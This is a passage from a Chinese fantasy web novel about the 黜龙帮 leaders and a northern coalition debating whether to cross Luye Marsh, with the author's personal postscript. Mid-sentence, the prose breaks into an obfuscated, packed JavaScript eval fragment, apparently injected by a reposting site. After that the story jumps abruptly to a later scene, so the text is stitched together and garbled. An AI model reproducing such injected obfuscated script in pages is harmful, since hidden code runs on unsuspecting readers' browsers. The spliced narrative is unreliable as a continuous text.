不过很快,当他来到落钵城,见到李四郎的时候,便再也笑不出来了。不是局势恶化到什么地步,而是他忽然意识到,自己可能被李四郎给哄骗了。 “皇帝能给魏玄定做,是不是说我也可以做?”刚到桌后坐下,李定便昂然来问。 “不是皇帝,是国主。”张行无奈更正。 此时已经坐到门内条凳上的苏靖方一愣,直接拉着尚未落座的窦小娘起身,就势坐到了门口最远的桌子,乃是借助尉迟融与秦宝高大的身形挡住了自家恩师的视线。而门口要进来的芒金刚更是干脆,直接在大门口拐弯走人了……不知道的还以为这位光头金刚是走错门了呢。 倒是牛河,这位不知道是不是这两个月随从李定已经适应了,只是瞥了李龙头一眼,就低头喝冰镇酸梅汤了。 “无论怎么叫了,就是那个意思……”李定根本不管这些人反应,依旧赳赳。 “那也不行。”张行也忽然正色。“你没有足够的功勋、资历和人脉,在帮内地位不足以与魏玄定相提并论,换你上去,帮里没人会服气……虽然外面都说是我指定的这个国主,可如果他没有资格,我指定又有什么用呢?若是能直接指定,我为何不指三娘?便是三娘在帮里,都有登州、晋北、靖安台降人三个小派系做自己的根底,比你还容易些。” 李定看了眼一声不吭的白三娘,无奈道:“那若是我能立下不世功勋,五年后能换我来做五年吗?” “你可以出来自荐,但我会反对,而且到时候我也会自荐。”张行干脆回应。“你选不上的。” “为什么?”李定明显有些愤懑。“你若把这个国主轻贱起来,为何我不能去取?” “首先,我没有轻贱这个国主的位置,之所以请魏公来,是因为帮里既有想让我立即做皇帝的,也有做惯了之前黜龙帮制度,不愿意我做皇帝的,所以选魏公来做过渡。”张行言之凿凿。“其次,你本人也不适合做国主,你这个人,根本没见识过我们黜龙帮这个房子是怎么建起来的,不晓得里面的脉络,你见识过的只是大魏怎么建起来的,真让你做了国主,一定会不知死活的弄权,引来帮内众怒!” 李定欲言又止。 “我知道你在想什么。”张行无语至极。“我本人倒还好,知道你是个**上的废物,便是让你当了国主也可以忍让你,甚至护着你,但那又如何?怕只怕我哪天出门黜龙,回来就发现你这个国主已经在大会上被几十个大头领一人一刀攮**,想为你报仇都不知道找谁,你家十娘与沉香说不得还要把我当做仇人,再来行刺……李四,你能不能长点心?我才发现,现在你领兵起势了,每一回都能借机给我弄点事出来!” “这一次……” “这一次我来之前是立了遗言的,要是死在天池那里,帮里如何继业的遗言……现在我也给你留一个。”张行再度制止了对方言语。“如果我**,你一定要在北地整军备武五年,五年后再执行我的方略,渡海做这个大侧击。打完之后,你就去邺城当个富家翁,不要自己养孩子,把孩子交给三娘来养做义女、义子,如此可保你平安。” 李定沉默半晌,方才来问:“前半截尚算是正常的托付遗志,如何后半截反而像是活着的我向**的你做托付?” “因为你只有这条路才能活下去!”已经转到门口却没道理离开的秦宝实在是听不下去了。 “我不能渡海后自立吗?不能投大英吗?”李定想不到连秦宝都教训他。 “就凭你现在说的话。”白有思也实在是听烦了,忍不住插了句嘴。“我父亲死前一定把你亲手杀了以作陪葬……不然就我那几个弟弟,哪个镇得住你?” 李定终于闭嘴。 尉迟融更是都听呆了。 “说话。”轮到张行反过来催促。“你不是军情紧急吗?为何身为主帅反而在后方隔了七八十里的城内?“ “确实军情紧急。”李定缓了许久方才开口。“但军情紧急未必是坏事……至于为什么我要到这里,有两个缘故,一个是大局可能要坏,那干脆做好让人撤到这里的准备;另一个,当然是要借此让沼泽北面的那些人胡思乱想,以此寻得战机。” “战机寻到了吗?”张行追问道。 “你带了一位宗师、七个凝丹成丹,外加八百奇经过来,本身便是最大战机。”轮到李定无语了。“还想要什么别的战机?” 屋子里沉默了片刻。 过了一会,李定有些不耐烦了:“你们既然来了,我有个计划,可以一战而定。” “先说说局势吧!”张行稍微挪动了一下条凳上的屁股,往对方那边靠了一下。“你说大局可能要坏是什么意思?” 李定一脸嫌弃。 PS:1、感谢擅长法律问题的某书友的上盟。 2、真没想到跨城搬家这么累,这么夸张,十**下午箱子被送到家的那一刻以为解放了,结果几十个箱子堆在客厅里的壮观场景蔚为观止……可惜没有玉座金佛,一直到现在也没有收拾干净。 3、我昨天晚上出去觅食,下着雨,在大街上摔了一个标准的狗啃泥,而为了保护左手的醪糟汤圆,本能以右半身着地……结果一直到现在右边大拇指和食指和胳膊还有些沉重,这才意识到,人年纪大了,骨质疏松居然是真的。 以上,大家双十一发大财。 第六十四章 **行(7) 李定说的大局要坏,倒也不是危言耸听。 想想就知道了,张行刚走,李定马上遭遇这么大规模的军事抵制力量,而且据他现在说周边各处全都在乱,荡魔卫各处实际上已经瘫痪,那就必然是有些其他的缘故了。 而仔细听下来就发现,这明显是荡魔卫内部原有的问题,因为这次的事情被强行撕裂,爆发了。 具体来说就是,荡魔卫内部本来就有对立,这当然是合情合理的,地域、经济、信仰、集权之类的矛盾,闭着眼都能想到,但问题在于,其中一个主要矛盾,正是地方和大司命那里的矛盾……长久以来,因为各卫被从地理上分割开来,所以实际上的军政大权都掌握在各地司命手中,但是大司命的修为和神仙洞的正统也都毋庸置疑,所以大司命的影响力也是客观存在的,各卫内里司命的反对派自然而然就会拿大司命和荡魔卫中枢为借口,反向钳制各卫司命。 譬如之前铁山卫内里,张行的舅舅黄平就算是半个例子。 那么这种矛盾,忽然遭遇到了以大司命手令的形式投降这个事件,自然会激化矛盾,导致内部瘫痪。 当然了,有一说一,李定之前对鹿野公全家干的那事……包括张行不在时对柳城公全家干的事,以及张行带走了铁山卫朱司命的事情,都在一定程度上助长了这个问题。 现在的北地,沸反盈天,西部是直接军事对垒;东部是瘫痪与**;南部是暗流涌动。 “不管这些了,管也没法立即管,现在最要紧是把这一仗打好,对不对?”张行想了一圈也只能放弃。 “对。”李定回答干脆。 “就算是想管,恐怕也得从这一战后开始管。”白有思也觉得头疼。“战事是怎么回事,是担心刘文周吗?” “肯定有担心刘文周的缘故,上次你们也说了,这厮身上怕是有类似于伏龙印的东西,我怎么敢让牛督……牛大头领出手?”李定正色道。“但又绝不止这个,现在的局面是,刘文周负责震慑,蓝大温胶合人心,还有个藏在最后面根本没出头的陆夫人提供粮秣……” “这据说有十数万人……陆夫人不过掌握三四城,她供的起吗?”不知道什么时候,芒金刚忽然出现在了门内。 “差不多吧,旗号、营寨分明,确实有十万。”接口的是之前消失不见的苏靖方。“只怕整个大兴山西路四城两卫加所有的战团都来了……至于说粮秣,从道理上来说反而是供得起的,因为我觉得他们肯定是有考量的,或许是觉得咱们背后形势不好,万一咱们身后闹出点事来,恐怕只能撤军,到时候他们只要涌过沼泽地,这些战团就会各自为战,陆夫人就不会管了;又或许,确实存着诸如从海路包抄的计划。” “海路包抄倒也罢了,可把战团推过来各自为战是不是算计的太精明了些?总得拿落钵城跟柳城做饵料才好让这些人白做工吧?”白有思也问道。 “应该有这个意思。”李定抢在苏靖方前道。“落钵城鹿野公活着的那个女儿,就在陆夫人那里……而且,若是我没有猜错的话,李枢与崔傥应该也在对面,情报说他们之前往那方向去了……只有一点奇怪,若是崔傥在对面,为何不把宗师修为露出来?两个宗师,加上一个藏在后面的陆夫人,三个宗师,处于守势,提升军心的作用可就不是一回事了。” “崔傥不会是已经跑到巫地了吧?”白有思若有所思。 “真有可能。”张行终于再度开口。“崔傥这人没心气了,倒是李枢说不定会挣扎一下……不过都无所谓了,你说这仗怎么打吧。” 李定点点头,想说什么,却半天没说出什么话来,也不知道这个时候发什么呆。 夏日炎炎,对北地而言却是一年最好的风光,所谓天蓝地绿,却在接天之山顶纯白一片,偶尔混入白云,更是让人看不清楚天地的边界。加上山顶的雪化,以及丰沛的降水,使得河流宽阔,沼泽丰盛,植被也跟着密集起来,到处都是郁郁葱葱,都是鹿走鹰飞。 这个时候,北地联军十数万联营数十里驻扎在奔马城南端的沼泽鹿野泽北侧,难免让周边的鹿兔鱼鸟尽数遭了殃……没办法,北面运来的陈粮能吃,但谁乐意吃呢? 连黜龙帮当年打破大魏仓储后,都晓得要拿新粮当军粮的。 实际上,就在联军日渐汇集的这二十日内,营地中最普遍的争端就是争抢猎物和营地,而营地往往也是因为是否方便狩猎才被分出三六九等。 当然,一切都在控制范围内,尤其是联军实际统帅、前安车卫司命蓝大温素来威望卓著,睡觉最后一个睡,吃饭也只吃最普通的陈粮,每天还要亲自在空中腾跃几次,确保三天内大略看过所有战团,并且每天早间点名,晚间召开军事会议,以解决矛盾,商讨军事方略。 也算处置的井井有条。 而这一日,中午的时候,井井有条蓝大温忽然扔下繁杂军务,就好像当年他在荡魔卫中还是个小执事一样,亲自在烈日下赶着一辆车子,车技娴熟的驶入到了一个战团的营地。 营地内,“宇文”二字的旗帜迎风飘扬。 这不稀奇,这类明显带有巫族色彩的复姓本身就是北地常见的姓,很可能是这个战团的团首祖上是从那边逃荒逃过来的,也有较小的可能是整个混血部落整体转化为战团,这类战团内部则比较团结,甚至整个战团都是一个姓也说不定。 宇文万筹的战团倒非如此,但他却是陆夫人的心腹,所以蓝大温和陆夫人才将两位重要人物放在此营内。 “蓝公的意思我已经了然了。”树荫下的桌案后,李枢看着面前被团首宇文万筹亲自奉上的烤鹿肉,面无表情。“不就是让我再去劝一下崔公吗?多一位宗师,军心就会大振,然后你们再进军南部就多了些把握?” “不用他亲自出手,只要他从奔马城过来一趟,显露一下宗师修为,振奋一下军心就行。”蓝大温诚恳请求,连烤鹿肉都没有多看一眼。“真打起来,过不过鹿野泽再说。” 李枢叹了口气,表情终于生动起来,却显得有些怪异:“蓝公,我们这几个丧家犬的立场比你们北地人还坚定,这话我一定带到,也一定努力劝他!” “劝什么?!”就在这时,低头吃了两口鹿肉,拉碴胡子上冒着油的崔玄臣忽然扔掉手里鹿肉,当场发作。“要我说,赶紧走,跟叔祖一起渡海去巫地……这北地片刻都待不得,还去劝他来送死?!” “玄臣……”李枢劝了半句,却也止住。 蓝大温本能去找宇文万筹,对方的随员发作,他不好直接开口,这时候最好是宇文万筹来说话,软的硬的都行,然而,回过头来,却发现宇文团首在背对着自己烤肉,头都不抬一下,很认真的样子,也是无奈,便回头亲自蹙眉来对:“崔四郎有话直说便是,何必发作?你这般性情,在北地也好,巫地也罢,耍出来是要被别人捅刀子的。” 崔玄臣一滞,立即昂首来言:“那我直接说了……蓝公,敢问咱们这边有几位宗师?” “自然是两位……” “若是两位,还打什么呢?人家有四个!很可能有五个!马上还有一个大宗师,说不定还能再请来一位大宗师,凝丹成丹数以十计,奇经的高手哪怕是抛开军中和地方,也能**三百,你们到底打什么?便是今日打过去,援兵过来照样被打回来,到底打什么?”崔玄臣怒气勃发,但说到最后反而冷静。“只有三位宗师,最少有三位宗师才有坚守的可能……蓝公,咱们有三位宗师吗?” “若是崔公诚心诚意来问,那算上陆夫人,还是有三位的。”蓝大温勉力做答。 “这就是问题所在。”崔玄臣直接站了起来,毫不客气的指着周边营寨来说。“这些人聚在这里是干什么?打仗对不对?跟谁打仗?黜龙帮对不对?为什么跟黜龙帮打仗?守卫乡梓是不是?乡梓是谁的?背后四城两卫,是不是有三城都是她陆夫人的?那敢问为什么十万之众在这里为她打仗,她却没有出现在阵前鼓舞士气,反而要我叔祖一个逃难的外人来做这个事情?” 话到这里,崔玄臣直接逼到对方跟前,严厉提醒:“蓝公!道理很简单,她陆夫人不来,无论我叔祖来不来,北地都没有半点指望!只有她来了,摆明车马要与黜龙帮决一死战,然后所有人众志成城,才有三分指望!让其他人为她卖命,她自家躲在后面待价而沽,天下没有这般道理!” 蓝大温沉默不语。 宇文万筹看着面前火坑上的鹿肉也没有吭声。 停了片刻,还是李枢一声叹气打破沉默:“蓝公,局面比你想的更糟糕,现在好像是黜龙帮为政严苛,以至于北地局势不稳,有机可乘,但也就是有机可乘,甚至这个机都是稍纵即逝的,张行的援军说到就到……假设以支援十五个营来算,下旬就能到,到时候他们把局势稳在落钵城,再等黜龙帮后援过来里应外合怎么办?” “可是我们十万大军在此……”蓝大温居然涨红了脸。 “这个大军是有问题的。”崔玄臣正色道。“蓝公,你不要觉得黜龙帮的营将制跟你们的战团制很像,就是一回事了……张行确实是用北地的制度套上黜龙帮的,但是他一开始就知道这个制度的问题,那就是营将一体,很容易不听指挥自行其是,所以,黜龙帮那里只要打了胜仗,打一次胜仗就要让雄天王以赏罚的名义换一拨人,这个营的升到那个营,那个营的补入这个营,换了七八次,换到去年初那场大战时,蓝公知道出了什么事情吗?” 蓝大温面色发紧,还是忍不住来问:“什么事?” “登州、齐郡边上土豪出身的程大郎,入帮前就有数百骑自家庄园里养的骑士,因为娶了我们崔氏女,被夺了兵权,去了地方……不过半年,他去接应黜龙帮的败兵,结果路上遇到了自己原来的营,他曾经的家养亲卫们居然因为他是崔氏女婿疑他反叛当众拔刀对他。”崔玄臣幽幽言道。“就是这件事情以后,程大郎争还是争,小心思还是小心思,却实际上什么帮外的想法都无了,一心一意在帮里做事……宇文团首,你当时就在那边,也听过这件事吧?” 宇文万筹头也不回,只面色木然的继续摆弄着一份新的烤肉:“听过。” 李枢也多看了崔玄臣一眼。 “蓝公,你觉得你这大军跟人家的大军是一回事吗?”崔玄臣继续叹道。“你们这样的军队,人多了不是好事,进的时候蜂拥而进,退的时候一哄而散,打的时候指挥不动,立营扎寨的时候争个猎场倒无所谓,关键是消息乱的你甚至分不清情报真伪……” “若是你这般说,难道不打了吗?!”蓝大温愤然反问。“坐视张行一句话夺了我们荡魔卫基业?坐视那个李定将镇守府诸公挨个杀的干干净净?” “所以把陆夫人请过来呀!让她站在这营中说,我们北地人要同生共死,要荣辱一体,我陆氏只会冲锋在前,却不要南部一城一地,谁功劳多给谁!可她为什么不来呀?”崔玄臣摊手问道。 蓝大温再度语塞。 “蓝公,这就是大争之世,容不得三心二意,容不得自以为是。”李枢也接口道。“不是我们不愿意帮忙,都说了,对付张行,没有人比我们更坚定,是你们太不像话……就好像,就好像是还没反应过来这是怎么个世道,就被人一棍子打蒙了一般……可是,你们的本钱就这么多,这一棍子要是真懵了,也就再也睁不开眼了。” 蓝大温无奈起身,一口肉都没吃,便答应了下来:“如此,你们去请崔公,我写信让人快马与陆夫人说清楚利害。” “我们其实不必去请,我们跟崔公说好了,只要陆夫人动身,他就会来,让陆夫人来的路上在奔马城把人带来便是。”李枢再度说明。 “好。”蓝大温直接点头,转身上了空荡荡的架子车,赶着车就离开了。 人走后,李枢率先招手,喊了周围歇息观望的士卒过来吃肉,宇文万筹也趁机放下烤糊的肉,喊了属下代劳,三人一起往边上走,明显都各怀心事。 走了几步,李枢先开口,却是来问崔玄臣的:“老崔,你刚刚说程大郎的事情是真的吗?” “自然。”崔玄臣一怔,然后反问。“李公不知道吗?” “之前不知道。”李枢闷声道。 崔玄臣立即醒悟对方的意思,便要来劝。 孰料,李枢先行立住,然后就在营帐旁负手感慨了出来:“老崔,你说,连程大郎都拉不动他自己庄户里出来的部队,我还能自欺欺人,以为帮里必有我的脉络将来会响应我吗?” 崔玄臣沉默了片刻,却没有直接回答,而是反问道:“若是这般计较,李公后悔当年离开黜龙帮吗?” 李枢报以沉默。 崔玄臣叹了口气,继续来问:“那在下换个问法,李公当年决意带兵往徐州,直到被单通海他们阻拦前可曾自行动摇过?” “动摇过,但我始终不能服气……不能忍受就此居于其下。”李枢言辞干脆。 “那还有什么可想的呢?”崔玄臣反问。 “不错。”李枢醒悟过来,反而苦笑。“事情一步步到了眼下,皆是我自作主张,又有什么可犹疑的呢?事不能成,不过一死,若能侥幸不死,大不了再往巫地走……实在不行,都是关陇一脉,投白横秋做个散官,在长安老宅了此残生便是。” 崔玄臣面色不变。 而李枢叹气后似乎想起什么,又来看身后脸色阴沉的宇文万筹,言辞诚恳:“宇文团首,我晓得你之前在军中受了委屈,今日且送你一句话……大丈夫在世,要弄清楚自己到底想要什么,要战团部族平安,那该低头低头,该市侩市侩,不丢人;但若想要施展胸中抱负,那便要想清楚自己抱负要在哪儿展开,要有为这个抛弃其他所有的决心,千万不要这个也顾忌,那个也想要,最后只会害了自己。” 宇文万筹闻言不由苦笑道:“这话后半截倒是有人跟我说过的……” 李枢心中微动,便要询问,可也就是此时,营中鼓声忽然响起,惊得几人齐齐变色……要知道,这可不是每日早间击鼓聚众,这大下午的,上不接三下不及四,必是有要害军情。 果然,李枢照例不露面,崔玄臣随从宇文万筹往中军大帐而去,路上遇到其他团首,便先将杂七杂八的谣言听了个够,这个说是陆夫人从海路绕后成功,要前后夹击了;那个说是黜龙军援军主力已到,要商议对策;还有人说,的确是有人绕海路了,但不是陆夫人,而是黜龙军,他们从晋北过来的,现在得赶紧撤。 最后众人按住性子来到中军大帐……所谓中军大帐倒不是个大帐,而是跟黜龙帮当年路边开会时一样,临时搭了个乘凉窝棚,然后很快知道了具体消息——沼泽对面,相距三十里,相持了近二十日的黜龙军主力突然拔营走了。 走的是干干净净,走的是猝不及防。 “那就进军呀?”沉默了半晌,一名团首略显不解的站起身来。“咱们不就是在等他们撤军吗?赶紧追上去呀!还是你们怕打头阵?” “不是这么简单的。”有人摩挲着下巴,若有所思道。“十万大军,几十个战团,四城两卫的兵马,都押在这里,若是人家诱咱们深入,然后在这鹿野泽南头一败涂地了,可就全完了……得慎重些。” “可不是吗?”又有人言语戏谑。“之前宇文团首就一而再再而三的说了,黜龙军强横,咱们十几万人虽是对方数倍,但也最好不要攻,而是往后退,诱敌深入,在鹿野泽这一头吃掉他们……看来宇文团首当年没白去河北一遭,也没白担着黜龙帮头领的身份,都想一块去了。只是按照这个路数,那到底是对面两三万人强一些呢,还是咱们十多万人强一些?” 众人哄笑,但也有少数人没笑。 过了片刻,随着蓝大温面无表情的扫视了下去,笑声还是迅速停止了。 “宇文头领谨慎些有什么过错吗?黜龙帮强横是说假话吗?”蓝大温脸色极为难看。“整个北地愿意反黜龙帮的家底子都在这里,一个不慎,就什么都没了,怎么反而要被嘲笑?要说嘲笑,之前不愿意让你们主动进攻的也是我,我也是畏敌?要不要也来笑我几声?!” 满满腾腾的大帐内并没有人再驳斥,但各种动作,咳嗽、喘息的杂音还是很明显。 蓝大温叹了口气,继续肃然道:“都好好说话,前面应该是个怎么样的局势,该怎么应对?” “我还是那句话,应该追上去打!”第一个开口的人重申道。“古往今来,但凡想要做事,哪有拥兵十万不敢动弹的?这不是笑话吗?!” “确实,哪有拥兵十万却不敢进的道理?” “就是,真到了鹿野泽南边,咱们也不是瞎子聋子,在座的有几个没去过那边扎春跑秋?那边的地理也是我们熟悉才对……他们才来几天呀,难道就会反客为主了?” “不错,他们耍不了什么阴谋。” “如此说来,便是黜龙军有谋划,也只是阳谋了?”很多人赞同出击,但蓝大温听完依旧不为所动,只是继续询问。“阳谋又如何?” “那就是大队援军到了?诱我们深入,然后反过来包围?” “不可能……援军差不多能到个先锋就不错了,断不可能来五万以上援军……天这么热是一回事,掷刀岭那破地方他想过那么多人也得慢慢过呀!” “这倒是……” “那就应该是援军的先锋精锐到了,不是说有三百奇经踏白骑吗?” “三百奇经且两说,这个思路是对的,之前其实是他们不敢退,又担心身后荡魔卫的人起来**断了他们后路,现在有了一些精锐接应,赶紧退到城里,省的后路被断……接下来就是守城了。” “大队援军不好从掷刀岭过,会不会从海上来?”有人再问。 “倒不用担心这件事。”蓝大温主动解释了一下。“东面海上赶不及,西面苦海这边,陆……陆夫人已经将观海、听涛二镇的船队尽数发到奔马城港口……原本的计划是,若当面再没机会,就分一支兵马渡海绕后。”话到这里,蓝大温强调了一句。“他们想从苦海来,船队只能依靠晋北与幽州,根本不成规制,更不要说跟我们的船队比。” “那还有什么可说的……打就是了!赶紧打,现在就出兵!”还是第一位开口的那**声喧哗。“你们怕死,我们这些战团冲在前面,顺便做侦查了……真有万一,或者黜龙军厉害的紧,折了我们一个两个三个战团,也不耽误你们的大局,反而替你们挡了黜龙军的锋锐!有什么可怕的?!” “程团首!”有人扬声以对。“赶紧打是对的,现在就出兵也是对的,反正都要派整团的人去侦查,可是要不把一些话说清楚……你乐意送死,我们却不乐意!” “什么话?”还是那人质问过来。 “蓝公。”接话的人回头来看蓝大温,手却指向了座中靠前的几人。“这些人明明指望着我们卖命替他们保全权势,为何反而总坐在这里,宛若木偶,每一次都像看傻子一般来看我们议论……我今日说清楚,若是我们过了鹿野泽,他们觉得危机过了,驻军不动,或者干脆回城怎么办?蓝公,我们是冲着你的威名来的,你要给我们说清楚才行!” 蓝大温面色严肃。 其实这就是联军内部最大的一个分野所在了,零散的战团以及西部四城两卫的直属力量,前者激进,后者保守,前者来源驳杂,指挥体系混,后者因为受陆夫人在内的实力派支持,所以立场一致。 蓝大温也没有想到,这些战团团首会在局势发生变化的同时,选择逼宫。 但问题就是这个问题,你得解决……要么压服这些团首,要么做出承诺。 而在再一次扫视了在场密集的人群之后,蓝大温犹豫了一下,然后鬼使神差的开口道:“你放心,断没有让你们独自上前,而他们在后面坐收其利的道理……这仗本来就是为他们打的。” 闻得此言,大棚下许多人都愕然起来,就连明显是串通好的几位团首都有些诧异,那几位城里来的正规军将领也有人按捺不住,想要询问。 纷乱中,好几个人想要起身鼓噪。 “好了!”蓝大温忽然作色。“我意已决,从今日起,无论进退,战团跟镇守府的兵马都要齐头并进……先从现在开始,程团首,你带着你的团,还有听涛城的李郎将一起出兵,先去侦查,立即去,探马一刻钟一报,两边都要报。” 那程团首被拿捏住,委实无奈,只能起身拱手:“蓝公这般说了,我程瞎子自然要尽心尽力。” 随即,众目睽睽之下,那来自听涛城的郎将李郎将也只好闷声起身,与程团首一起去了。 人既走,蓝大温又来看剩下人,继续凛然相告:“不止是他们,待会哨骑回报,要是前方无碍,咱们继续进军,按照原计划扫荡落钵原,或驱逐对方,或困城断后,都要战团与镇守府的兵马并行,谁也不能藏在这里!” 听这意思,竟是已经决定出兵了,而不知道是不是本就赞同出兵,又或者是慑于对方威望,并无人立即起身决绝反对。 倒是宇文万筹,回头瞥了身后立着的那位崔先生一眼,心知肚明,这是之前此人和李枢的言语,起到作用了,但是犹豫片刻后,他还是决定把自己的意见表达清楚。 一念至此,其人主动起身,拱手来问:“蓝公,此战已经定下了吗?就是要过鹿野泽出击吗?不能谨守吗?若是那张首席自领着三百踏白骑到,怕是能……” 话还没说完,周围便哄笑起来。 蓝大温也无奈,只能指着众人来言:“宇文团首,你的意思我明白,我也尊重你是唯一往河北一行见识过黜龙军的实力的团首,但是,我受人所托,掌管这里的联军,你看这里的人,只有你一人反对出战,其余大多赞同,你说,我还能只听你一人的道理吗?” 宇文万筹便也苦涩起来。 也就是这时候,一个声音忽然响起,飘飘渺渺,分不出来路,似乎在棚内,又似乎在棚外,偏偏所有人都听得清楚:“宇文团首,你这就是为难蓝司命了,便是蓝司命心里也认定了你的道理,恐怕也得出兵吧?” 棚内许多人,闻言都有些紧张防备之态,但也有几人赶紧起身,以作姿态。 宇文万筹则只能低头继续朝前方行礼:“还请刘公赐教。” “有什么可赐教的?都是些再简单不过的道理。”一人从棚外走进来,阳光下清晰可见空中烟尘尽数被分开,露出细长身形,长须凤眼,却是一身布衣,腰中挂着几个囊袋瓶罐,走起路来叮当作响,正是北地这几年风生水起,外来之人却据了冰流城的宗师刘文周。 而说来也怪,刘文周此人来了以后,那冰流城短短几年便水流枯竭,硬生生被改了名唤作冰沼城,以至于各处传来流言,说是这位出身金戈夫子门下的宗师修了邪法,能盗地气,冰沼城就是他的杰作……也正是因为如此,北地众人对这位跟陆夫人结了盟,理论上的宗师盟友还是带着几分审视。 “宇文团首。”刘文周根本没有理会其余几人的行礼,也没有理会蓝大温难堪的脸色,直接来到宇文万筹身前负手而立。“你以为若是守下去的话,咱们的粮草能支撑这十万人几日?我直白告诉你,便是撑到秋日,明年开春也将无半分军粮,到时候人家再来,怎么办?守城都没法守!” 宇文万筹欲言又止。 “我知道你什么意思,但怎么可能呢?人总要试一试才甘心的,不然来这里干吗?”刘文周失笑道。“而到了眼下,人家果然撤了,露出缝隙来,咱们要么向前,将几十个战团撒到南部就食,要么散了军势,就此不管。而原本陆夫人与蓝司命商议的是,到时候将战团撒出去,本军在此驻守,观前方局势……” “刘公!”蓝大温忽然打断对方。 “这有何妨?”刘文周回头言道。“蓝司命不是也意识到这么干不对,主动更改了方略吗?” 蓝大温无奈,只能板着脸提醒:“我已经不是司命了,请刘公不要这么称呼我。” 刘文周点点头,似乎想继续与宇文万筹说些什么,但最后化作一声轻叹:“其实,这些道理说不说都无所谓,倒是那位程团首一句话就足够了……古往今来,要做事情的,哪有十万之众不敢向前的?” 听到这里,宇文万筹也只能重新坐了回去。 蓝大温也赶紧严肃询问:“刘公,你难得过来,只是为了说这些话的吗?” “自然不是。”刘文周捏着胡子笑道。“我来是想问,黜龙帮发了精锐来支援,会不会有踏白骑?而那位张首席又会不会亲自领着踏白骑过来?” 蓝大温无奈,只能摇头:“这得等情报传回来。” “传回来,告诉我。”刘文周说完,居然又转身离开了棚子。 人一走,棚子下面的**多松了口气,蓝大温也觉得无趣,直接挥手:“现在都回去整备兵马……我随时调遣,此外,日落前惯例汇集。” 众人也都不敢怠慢,纷纷应声,然后乱哄哄回去了。 回到营中,崔玄臣则将棚下见闻一一说与李枢,得知情况后,李枢也不好说什么,只能等待进一步关键情报再做打算。 而这个情报来的比想象中要快。 诚如那些团首们所言,鹿野泽以南,他们知根知底,黜龙军才是外来者,而且是刚刚杀过人的外来者,所以,当程瞎子越过黜龙军遗弃的完整营寨,来到一处相熟市集时,立即得到了他们想知道的最关键情报——黜龙帮援军确实到了,铁山卫出身的那个张首席亲自领着的,但据说只有八百骑。 “宇文”旗帜下,听到这个叙述后,李枢、崔玄臣、宇文万筹都有些失态。 几人几次想把那个猜想说出来,但最终都闭了嘴。 过了半晌,还是宇文万筹无奈起身:“我先去一趟,晚间军议,务必再劝一劝,让他们晓得,若有……若有八百踏白骑,十万之众是真的是,真的是……我也不知道是怎么个情况,但真的要小心再小心。” “没用的!”崔玄臣跺了一下脚。“你自己心里又不是不明白……北地没人有这种大战的经验,而这种气氛下,你一个人的意见没有用!” 宇文万筹都要哭了:“可我既然知道危险,总得去劝劝。” “那就去吧。”就在这时,李枢忽然向前,摸住了对方双手。“但宇文团首,咱们对他人尽心尽力之后也得同时想想自家……你是黜龙帮的头领,之前却接应我们去陆夫人那里,现在又真切领兵在他对面,便是叛徒了,张行此人断不会饶你……听我一句劝,咱们先尽心尽力,若事不成,没必要白白送死,渡河去巫族吧!” 宇文万筹本想说些什么,但只能苦笑,然后转身匆匆而去。 下午阳光下,目送对方离开后,李枢与崔玄臣对视了一眼,然后毫不犹豫转身离开……不是离开这个营寨内的高地,而是毫不犹豫,各自跨上一匹马,径直出营往北去了。 没错,两人已经意识到,再不走,是要**的。 另一边,宇文万筹的劝说果然没有起作用,他对八百踏白骑的臆想被人一句话就顶了过来——“宇文团首这是把张行当成黑帝爷了!” 而与此同时,前方情报继续转回,部队也依次进发不停。 到了日落前,联军已经通过多方面的情报源确定,当面之黜龙军确系 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“人……怎么能成星星呢?”白有思幽幽反问。“凡人穷尽一生,生老病死,连其他人都无所动,何况是天地感应?” “谁知道呢?或许人心所念,皆是天地所钟,又或许连至尊在天意之下也只是个工具。”张行笑道。“但无论如何,人都不能失了念想……喜怒哀乐,德行志气,乃至于如你我现在这份遐思,正是我们之所以为人的珍贵之处。” 张白二人胡扯,一旁秦宝已经习惯不说,尉迟融却是第一次遇到这种情况,不由胡思乱想,跃跃欲试。 毕竟,张行是首席不说,这白三娘也是当年晋北起事的倚仗,来的时候洪长涯也说了许多遍,要他认准张首席,然后是白总管,跟紧这两位就行了,而张首席更是刚一见面就直接与他一翼踏白骑来领……这可是好几百奇经,怎么能不受宠若惊呢? 这种心态下,自然要表现一下。 “首席、总管,我们部族中倒是有些类似的说法。”尉迟融认真言道。“说是天上星确实不止是真龙神仙的映照,只要是个巫……是个人,筑基成了,引了天地元气入体,便能与天地沟通,就可以显化到天上,成个星星。” “原来如此,这倒是更有些道理了。”张行当然没有怪对方破坏气氛,反而点头认可。“这天地元气,既是天意照人的途径,也是人意映天的途径……所以才有证位之说。” “确实。”白有思也随之颔首。“若如此的话,这天地元气只是打架更厉害,岂不是显得太无用了一些?又如何担得起天地元气的名号?又凭什么让人借此证位立塔?” 几人正在感慨,数骑却从远处驰来,径直穿过树林,准确来到张行等人落脚的斜坡上前方才下马,正是北地战帅李定,身后还有另一位黜龙帮内宗师牛河。 张行停止讨论,远远来问:“如何了?” “还行……但不是最好,也足够了。”李定嘴里说着一些奇怪的话,脚下不停,已经来到跟前。“过来了大约四万人,其中三万留在了我们放弃的营地中,鹿野泽北面的人多了些,应该不碍事吧?” “不碍事……这碍什么事?”张行不以为然道。“最差最差就是他们掉头就走,大不了等援军到了,追上去再打一仗便是。” “这倒也是。”李定点头。“白天的时候我也想过太仓促了,但想来想去,还是要从速,让他们反应不过来……而既然当面之敌较少,牛公便随你们行动最好。” 张行朝牛河点点头:“辛苦牛公。” 牛河倒是坦荡:“老朽不过是条朽绳,也就是这点用了。” “朽绳未必不能吊千钧。”张行立即更正道。“而若依然能吊千钧,那何谈朽绳呢?” 牛河嘿嘿一笑,倒没有多言。 “现在动手吗?”张行问了最后一句。 “现在吧……”李定想了一下。“我没让部队入城,若是真再休息下去,怕是对面没困倦,我们的人先困倦了,那反而不好,我们先动手,看看能不能再引一些人过来,你们后发。” 张行点了下头,不再做声。 李定则径直打马离去。 就这样,时间来到二更时分,北地西路联军三万刚刚进入黜龙军废弃的营寨,稍作修葺布置,才刚刚躺下,还没有睡着呢,便有哨骑飞马折回,惊醒联军众人的同时也带来了一个让所有人既惊讶却又恍然的军情——下午离开的黜龙军主力又打回来了。 